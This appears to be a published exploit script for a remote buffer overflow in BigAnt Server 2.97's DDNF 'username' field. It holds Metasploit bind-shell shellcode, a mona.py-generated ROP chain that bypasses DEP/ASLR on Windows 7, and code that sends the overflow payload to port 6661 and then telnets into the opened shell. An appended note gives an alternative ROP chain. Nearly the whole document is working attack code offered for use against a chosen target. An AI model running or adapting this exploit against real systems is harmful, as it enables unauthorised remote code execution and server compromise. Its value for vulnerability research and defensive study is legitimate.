BigAnt Server 2.97 – DDNF ‘Username’ Remote Buffer Overflow
#!/usr/bin/python #Title: BigAnt Server 2.97 DDNF Username Buffer Overflow #Author: Craig Freyman (@cd1zz) http://pwnag3.com #Tested on: Windows 7 64 bit (DEP/ASLR Bypass) #Similar Exploits: #http://www.exploit-db.com/exploits/24528/ #http://www.exploit-db.com/exploits/24527/ #http://www.exploit-db.com/exploits/22466/ import socket,os,struct,sys,subprocess,time if len(sys.argv) < 2: print "[-]Usage: %s <target addr> " % sys.argv[0] + "\r" sys.exit(0) host = sys.argv[1] #msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20\x25\x27" sc = ( "\xd9\xec\xba\x1f\xaf\x04\x2d\xd9\x74\x24\xf4\x5d\x2b\xc9" "\xb1\x56\x31\x55\x18\x03\x55\x18\x83\xc5\x1b\x4d\xf1\xd1" "\xcb\x18\xfa\x29\x0b\x7b\x72\xcc\x3a\xa9\xe0\x84\x6e\x7d" "\x62\xc8\x82\xf6\x26\xf9\x11\x7a\xef\x0e\x92\x31\xc9\x21" "\x23\xf4\xd5\xee\xe7\x96\xa9\xec\x3b\x79\x93\x3e\x4e\x78" "\xd4\x23\xa0\x28\x8d\x28\x12\xdd\xba\x6d\xae\xdc\x6c\xfa" "\x8e\xa6\x09\x3d\x7a\x1d\x13\x6e\xd2\x2a\x5b\x96\x59\x74" "\x7c\xa7\x8e\x66\x40\xee\xbb\x5d\x32\xf1\x6d\xac\xbb\xc3" "\x51\x63\x82\xeb\x5c\x7d\xc2\xcc\xbe\x08\x38\x2f\x43\x0b" "\xfb\x4d\x9f\x9e\x1e\xf5\x54\x38\xfb\x07\xb9\xdf\x88\x04" "\x76\xab\xd7\x08\x89\x78\x6c\x34\x02\x7f\xa3\xbc\x50\xa4" "\x67\xe4\x03\xc5\x3e\x40\xe2\xfa\x21\x2c\x5b\x5f\x29\xdf" "\x88\xd9\x70\x88\x7d\xd4\x8a\x48\xe9\x6f\xf8\x7a\xb6\xdb" "\x96\x36\x3f\xc2\x61\x38\x6a\xb2\xfe\xc7\x94\xc3\xd7\x03" "\xc0\x93\x4f\xa5\x68\x78\x90\x4a\xbd\x2f\xc0\xe4\x6d\x90" "\xb0\x44\xdd\x78\xdb\x4a\x02\x98\xe4\x80\x35\x9e\x2a\xf0" "\x16\x49\x4f\x06\x89\xd5\xc6\xe0\xc3\xf5\x8e\xbb\x7b\x34" "\xf5\x73\x1c\x47\xdf\x2f\xb5\xdf\x57\x26\x01\xdf\x67\x6c" "\x22\x4c\xcf\xe7\xb0\x9e\xd4\x16\xc7\x8a\x7c\x50\xf0\x5d" "\xf6\x0c\xb3\xfc\x07\x05\x23\x9c\x9a\xc2\xb3\xeb\x86\x5c" "\xe4\xbc\x79\x95\x60\x51\x23\x0f\x96\xa8\xb5\x68\x12\x77" "\x06\x76\x9b\xfa\x32\x5c\x8b\xc2\xbb\xd8\xff\x9a\xed\xb6" "\xa9\x5c\x44\x79\x03\x37\x3b\xd3\xc3\xce\x77\xe4\x95\xce" "\x5d\x92\x79\x7e\x08\xe3\x86\x4f\xdc\xe3\xff\xad\x7c\x0b" "\x2a\x76\x8c\x46\x76\xdf\x05\x0f\xe3\x5d\x48\xb0\xde\xa2" "\x75\x33\xea\x5a\x82\x2b\x9f\x5f\xce\xeb\x4c\x12\x5f\x9e" "\x72\x81\x60\x8b") #rop chain generated with mona.py - www.corelan.be rop_gadgets = "" rop_gadgets += struct.pack('<L',0x0f9edaa9) # POP EDX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0fa021cc) # ptr to &VirtualProtect() [IAT expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9ea2a7) # MOV ECX,DWORD PTR DS:[EDX] # SUB EAX,ECX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e0214) # PUSH ECX # SUB AL,5F # POP ESI # POP EBP # RETN 0x24 [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0f9ee3d9) # POP ECX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0F9A5001) # &Writable location rop_gadgets += struct.pack('<L',0x0f9f1e7c) # POP EDX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0xffffffff) # EDX starting value for i in range(0,65): rop_gadgets += struct.pack('<L',0x0f9dbb5a) # INC EDX # RETN ghetto style [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e65b6) # POP EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0xfffffdff) # Value to negate, will become 0x00000201 rop_gadgets += struct.pack('<L',0x0f9f2831) # NEG EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9c5f4b) # POP EDI # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0FA0C001) # put this in edi so the nex one doesnt die, writable for edi rop_gadgets += struct.pack('<L',0x0f9e2be0) # PUSH EAX # OR BYTE PTR DS:[EDI+5E],BL # POP EBX # POP EBP # RETN 0x08 ** [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e24f9) # push esp # ret 0x08 | {PAGE_EXECUTE_READ} [expsrv.dll rop_gadgets += struct.pack('<L',0x0f9c5f4b) # POP EDI # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0f9e5cd2) # RETN (ROP NOP) [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9c8a3e) # POP EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x909006eb) # nop with a ninja jump rop_gadgets += struct.pack('<L',0x0f9f30c2) # PUSHAD # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e5cd2) # RETN (ROP NOP) [expsrv.dll] front = "A" * 684 seh = struct.pack('<L',0x0f9eeb8a) # ADD ESP,1004 [expsrv.dll] back = "C" * 1592 stack_adjust = "\x81\xc4\x24\xfa\xff\xff" junk = "D" * (4000 - (len(front) + len(seh) + len(back) + len(rop_gadgets) + len(stack_adjust) + len(sc))) sploit = front + seh + back + rop_gadgets + stack_adjust + sc + junk print "[+] Sending pwnag3 to " + str(host) try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,6661)) s.send("" "DDNF 17\n" "classid: 100\n" "cmdid: 1\n" "objid: 1\n" "rootid: 3\n" "userid: 8\n" "username: "+sploit+ "\r\n\r\n") time.sleep(1) except: print "[-] There was a problem" sys.exit() print "[+] Getting your shell. " time.sleep(3) subprocess.Popen("telnet "+host+" 4444",shell=True).wait() print"[*] Done." s.close() ############## # Exploit-DB Note: # DEP/ASLR ROP chain for Windows 7 Pro Eng. # buffer = "\x41" * 684 # EIP hit here: # Ajust stack to avoid SEH stackajust = "\x8a\xeb\x9e\x0f" # 0x0f9eeb8a ADD ESP,1004 [expsrv.dll] junk = "\x42" * 2028 # Place VirtualProtect() into ESI rop = "\x3c\x7c\x9c\x0f" # pop eax | retn [expsrv.dll] rop+= "\xcc\x21\xa0\x0f" # Ptr to kernerl.VirtualProtect rop+= "\x4c\xe9\x9e\x0f" # Move VirtualProtect into EAX rop+= "\x42\x76\x9f\x0f" # push eax | or al,5f | pop esi | pop ebp | pop ebx | pop ecx # lpAddress into EBP (push esp 8) rop+= "\xf9\x24\x9e\x0f" # lpAddress into ebp push esp 8 | retn rop+= "\x01\x05\x01\x01" # huge dwSize in ebx rop+= "\x41\x41\x41\x41" # junk to pop into ecx # 0x40 EDX flNewProtect rop+= "\x87\xfd\x9f\x0f" # pop edx rop+= "\xff\xff\xff\xff" # for i in range(0,65): rop+="\x5a\xbb\x9d\x0f" # increase cheap EDX # lpflOldProtect Writeable address into ECX rop+= "\x48\x76\x9f\x0f" # pop ecx | retn rop+= "\x01\x50\x9a\x0f" # RETN inot EDI rop+= "\xa8\x3a\x9a\x0f" # pop edi | retn rop+= "\x90\xeb\x9e\x0f" # RETN rop # Padding in EAX rop+= "\x3c\x7c\x9c\x0f" # pop eax | retn [expsrv.dll] rop+= "\x90\x90\x90\x90" # Pushad rop+= "\xc2\x30\x9f\x0f" # pushad | retn rop+= "\x90\x90\x90\x90" * 3 # nop sled payload = buffer + stackajust + junk + rop + sc exploit = payload + "\x90" * (3999 - len(payload)) + "\xCC" |